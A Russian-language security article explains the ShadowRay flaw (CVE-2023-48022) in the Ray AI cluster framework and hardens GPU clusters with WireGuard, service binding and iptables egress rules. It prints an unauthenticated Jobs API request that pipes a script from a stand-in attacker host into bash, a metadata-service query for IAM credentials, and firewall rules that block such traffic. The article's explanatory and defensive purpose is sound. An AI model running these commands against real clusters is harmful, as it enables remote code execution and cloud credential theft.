Стремительное развитие генеративных моделей и распределенного глубокого обучения превратило вычислительные кластеры на базе графических процессоров (GPU) в критически важный и дорогостоящий актив современных технологических компаний. Для координации предварительного обучения, процедур RLHF и масштабируемого инференса на сотнях взаимосвязанных GPU-узлов инженеры активно задействуют специализированные распределенные фреймворки.
Среди них проект Ray с открытым исходным кодом, созданный компанией Anyscale, завоевал статус отраслевого стандарта. Однако исходная архитектура Ray создавалась с приоритетом максимального быстродействия и минимальных сетевых задержек в предположительно доверенной локальной среде. Отсутствие встроенной взаимной аутентификации в базовых управляющих службах привело к возникновению масштабного вектора компрометации, зарегистрированного под кодом CVE-2023-48022 и получившего известность как кампания ShadowRay.
+-------------------------------------------------------------------------------+
| ЦЕПОЧКА АТАКИ НА GPU-КЛАСТЕР SHADOWRAY |
+-------------------------------------------------------------------------------+
| 1. Сканирование незащищенных сетевых портов |
| └─ Обнаружение открытого интерфейса Ray Dashboard (TCP 8265) в сети |
| 2. Удаленное внедрение задач через REST API |
| └─ Отправка неаутентифицированного запроса на адрес: POST /api/jobs/ |
| 3. Распределение полезной нагрузки через демон Raylet |
| └─ Главный узел (Head node) передает команду на GPU-воркеры (TCP 10001) |
| 4. Удаленное выполнение произвольного кода (RCE) на узлах GPU |
| └─ Скрипт выполняется в контексте рабочего процесса (часто с правами root) |
| 5. Постэксплуатация и развитие атаки |
| ├─ Захват карт NVIDIA H100/A100 для несанкционированного майнинга (T1496) |
| ├─ Запрос метаданных инстанса (169.254.169.254) для кражи токенов IAM |
| └─ Эксфильтрация обученных весов (.safetensors) и закрытых датасетов |
+-------------------------------------------------------------------------------+
Надежная защита распределенных систем искусственного интеллекта требует полного отказа от доверия на прикладном уровне и развертывания жесткого зашифрованного сетевого периметра.
Архитектура Ray и первопричина уязвимости CVE-2023-48022
Ray функционирует по топологии «главный — подчиненный» (Head Node — Worker Nodes). Чтобы понять уязвимость сетевой границы, необходимо проанализировать взаимодействие компонентов.
1. Топология Ray и ключевые сетевые порты
Типовая инсталляция кластера включает в себя следующие сервисы:
- Панель управления Ray Dashboard и Jobs API (Порт 8265): Предоставляет графический мониторинг аппаратных ресурсов, просмотр журналов и программный интерфейс HTTP REST для отправки задач Python (
/api/jobs/). - Глобальное хранилище управления GCS (Порт 6379): Управляет метаданными, распределением заданий и графом зависимостей через встроенную key-value базу данных.
- Сервер Ray Client (Порт 10001): Обеспечивает интерактивные удаленные подключения Python-клиентов к кластеру.
- Raylet и распределенная память Plasma (Порты 10002–19999): Отвечают за удаленный вызов процедур (RPC), разделяемую память и высокоскоростную передачу тензоров между GPU.
Сетевая схема взаимодействий Ray:
[ Внешняя сеть / Недоверенный сегмент ]
│
▼ (Незащищенный доступ: TCP 8265 / 10001)
┌────────────────────────────────────────────────────────┐
│ Главный узел Ray (Head Node) │
│ ├── Веб-интерфейс и REST API (Порт 8265) │
│ ├── Глобальное хранилище GCS (Порт 6379) │
│ └── Сервер Ray Client (Порт 10001) │
└───────────────────────┬────────────────────────────────┘
│ Внутренний обмен gRPC / RPC
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────────┐ ┌──────────────────────┐
│ Рабочий узел GPU 1 │ │ Рабочий узел GPU 2 │
│ ├── Демон Raylet │ │ ├── Демон Raylet │
│ └── 8x NVIDIA H100 │ │ └── 8x NVIDIA H100 │
└──────────────────────┘ └──────────────────────┘
2. Механизм эксплуатации уязвимости ShadowRay (CVE-2023-48022)
Изначально разработчики фреймворка исходили из предположения, что за безопасность кластера отвечают внешние сетевые экраны дата-центра. Однако при развертывании Ray в облачных средах Kubernetes (через KubeRay) или на виртуальных машинах службы нередко привязываются к адресу 0.0.0.0 или публикуются через Ingress-контроллеры без настройки механизмов авторизации.
Обнаружив открытый порт TCP 8265, злоумышленник может инициировать запуск произвольного командного сценария одним HTTP-запросом:
# Отправка неавторизованного вычислительного задания на узел управления Ray
curl -X POST "http://<target-ray-head>:8265/api/jobs/" \
-H "Content-Type: application/json" \
-d '{
"entrypoint": "curl -s http://attacker-c2[.]xyz/loader.sh | bash",
"runtime_env": {
"env_vars": {"CLUSTER_TARGET": "ai-training"}
}
}'
Главный узел фиксирует задачу в GCS, планирует выполнение и распределяет нагрузку через Raylet на рабочие узлы. Команды запускаются на мощных GPU-серверах с привилегиями рабочего процесса (зачастую с правами root внутри контейнера Docker).
3. Развитие атаки и компрометация метаданных облака (IMDS)
Получив доступ к командной строке контейнера, автоматизированные сканеры обращаются к локальной службе метаданных облачного провайдера (IMDSv1):
# Запрос к службе метаданных для получения временных ключей доступа IAM
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Скомпрометировав ключи IAM, атакующие получают возможность выгрузить проприетарные веса моделей из объектных хранилищ S3 или развернуть дополнительные инстансы для несанкционированного майнинга криптовалют.
Векторы сетевых угроз и утечки данных
Попытки защитить кластер установкой обычного обратного прокси-сервера (например, Nginx с парольной аутентификацией) перед веб-портом 8265 обеспечивают лишь частичный эффект. Межузловые соединения (порты 6379, 10001 и динамический диапазон воркеров) по-прежнему функционируют без шифрования и авторизации в общем широковещательном домене.
В плоской сети центра обработки данных компрометация соседнего сервера разработки позволяет перехватывать внутренний трафик Ray RPC, подменять аргументы заданий или извлекать фрагменты моделей прямо из сетевых пакетов.
Сетевые угрозы для кластера:
[ Нарушитель / Скомпрометированный узел локальной сети ]
│
├── (1) Прямой доступ к порту 8265 -> RCE через Jobs API
│
├── (2) Кража метаданных -> Запрос 169.254.169.254 для получения токенов
│
├── (3) Прослушивание трафика -> Перехват незашифрованных тензоров в сети
│
└── (4) Обратная связь с C2 -> Исходящий TCP-канал к внешнему серверу
Для надежного противодействия угрозе необходимо полностью изолировать компоненты кластера от открытых сетей и объединить их в единую ячеистую сеть третьего уровня.
Архитектура нулевого доверия: WireGuard Mesh и микросегментация
Комплексная защита кластера строится на комбинации шифрованной ячеистой сети WireGuard, изоляции портов и строгой фильтрации исходящего трафика.
+-------------------------------------------------------------------------------+
| АРХИТЕКТУРА БЕЗОПАСНОСТИ GPU-КЛАСТЕРА |
+-------------------------------------------------------------------------------+
| Уровень 1: Зашифрованная ячеистая сеть WireGuard L3 (10.66.0.0/24) |
| ├─ Взаимодействие Head и Worker узлов ограничено виртуальной подсетью |
| ├─ Полное шифрование ChaCha20-Poly1305 для gRPC и межпроцессного обмена |
| └─ Отсутствие прослушивания на физических сетевых интерфейсах и белых IP |
+-------------------------------------------------------------------------------+
| Уровень 2: Микросегментация исходящего трафика и блокировка метаданных |
| ├─ Блокировка всех обращений к адресу 169.254.169.254 из рабочих контейнеров |
| ├─ Изоляция внешних соединений; запрет несанкционированного исходящего трафика|
| └─ Защищенный Anycast DNS с автоматической нейтрализацией C2-доменов |
+-------------------------------------------------------------------------------+
| Уровень 3: Защищенное удаленное администрирование через VPN |
| ├─ Панель Ray Dashboard слушает исключительно IP-адрес WireGuard (10.66.0.1) |
| ├─ Доступ администраторов разрешен только через клиентский туннель WireGuard |
| └─ Неизменяемый аудит всех запросов на запуск вычислительных задач |
+-------------------------------------------------------------------------------+
1. Развертывание защищенной сети WireGuard Mesh для GPU-узлов
Каждому физическому серверу кластера присваивается статический адрес в изолированной подсети WireGuard (например, 10.66.0.0/24).
Пример конфигурации главного узла Ray (Head Node):
# /etc/wireguard/wg-ai.conf (Главный узел управления)
[Interface]
Address = 10.66.0.1/24
PrivateKey = <Приватный_Ключ_Head_Node>
ListenPort = 51820
# Разрешение входящего трафика только через виртуальный интерфейс
PostUp = iptables -A INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
PostDown = iptables -D INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
# Рабочий сервер 1
[Peer]
PublicKey = <Публичный_Ключ_Worker_1>
AllowedIPs = 10.66.0.11/32
Endpoint = 192.168.10.11:51820
PersistentKeepalive = 25
# Рабочий сервер 2
[Peer]
PublicKey = <Публичный_Ключ_Worker_2>
AllowedIPs = 10.66.0.12/32
Endpoint = 192.168.10.12:51820
PersistentKeepalive = 25
Запуск службы Ray выполняется со строгой привязкой к виртуальному интерфейсу:
# Запуск Ray Head с привязкой к защищенному адресу WireGuard Mesh
ray start --head \
--node-ip-address=10.66.0.1 \
--dashboard-host=10.66.0.1 \
--port=6379 \
--dashboard-port=8265 \
--disable-usage-stats
Все рабочие воркеры подключаются аналогично (--address=10.66.0.1:6379 --node-ip-address=10.66.0.11). Пакеты между серверами шифруются на уровне ядра Linux алгоритмом ChaCha20-Poly1305, исключая перехват данных в локальной сети дата-центра.
2. Фильтрация исходящего трафика и блокировка службы метаданных
Для предотвращения кражи облачных ключей и развертывания реверс-шеллов исходящий сетевой трафик контейнеров жестко лимитируется.
Пример сценария настройки межсетевого экрана для GPU-узлов:
#!/usr/bin/env bash
# Правила изоляции исходящего трафика и защиты метаданных для GPU-серверов
set -euo pipefail
WG_IF="wg-ai"
METADATA_IP="169.254.169.254"
# Политика пересылки по умолчанию: сброс пакетов
iptables -P FORWARD DROP
# Очистка таблиц
iptables -F
iptables -X
# Разрешение установленных сессий
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Блокировка доступа к облачной службе метаданных
iptables -A OUTPUT -d "$METADATA_IP" -j DROP
# Разрешение взаимодействия между узлами кластера только через WireGuard
iptables -A OUTPUT -o "$WG_IF" -d 10.66.0.0/24 -j ACCEPT
# Блокировка исходящих TCP-подключений через физический сетевой интерфейс
iptables -A OUTPUT -p tcp -m multiport --dports 22,80,443,4444,8080 -o eth0 -j DROP
# Принудительная маршрутизация DNS в защищенный Anycast-резолвер туннеля
iptables -t nat -A OUTPUT -p udp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -p tcp --dport 53 -j REJECT --reject-with tcp-reset
echo "Правила изоляции исходящего трафика успешно применены."
Тестирование и верификация безопасности кластера
Для подтверждения защищенности кластера от внешнего сканирования администратор может запустить тестовую проверку с внешнего хоста:
#!/usr/bin/env bash
# Скрипт проверки доступности портов кластера Ray
TARGET_IP="192.168.10.10" # Физический IP-адрес управляющего узла в локальной сети
echo "[*] Шаг 1: Сканирование порта Ray Dashboard на физическом интерфейсе..."
if nc -z -v -w 3 "$TARGET_IP" 8265 2>&1 | grep -q "succeeded"; then
echo "[!] КРИТИЧЕСКАЯ УГРОЗА: Порт 8265 доступен снаружи! Кластер уязвим."
else
echo "[+] УСПЕХ: Порт 8265 недоступен или блокируется межсетевым экраном."
fi
echo "[*] Шаг 2: Проверка порта Ray Client (10001)..."
if nc -z -v -w 3 "$TARGET_IP" 10001 2>&1 | grep -q "succeeded"; then
echo "[!] ВНИМАНИЕ: Порт 10001 открыт! Возможен удаленный запуск кода."
else
echo "[+] УСПЕХ: Порт 10001 надежно закрыт."
fi
Закрытое состояние портов подтверждает, что доступ к управлению вычислениями имеют только авторизованные инженеры, подключенные через VPN-туннель.
Заключение
Инциденты безопасности вокруг кампании ShadowRay наглядно показали, что доверительная модель распределенных вычислений устарела. В эпоху, когда кластеры объединяют миллионы долларов в аппаратных ресурсах GPU и обрабатывают ключевые активы компаний, защита только веб-интерфейсов недостаточна.
Развертывание ячеистой сети WireGuard на третьем сетевом уровне, привязка служб Ray исключительно к виртуальным интерфейсам и строгая фильтрация исходящих потоков создают надежный эшелонированный рубеж. Даже в гетерогенных облачных инфраструктурах вычисления защищены от перехвата ресурсов, внедрения вредоносного кода и утечки ценных моделей.



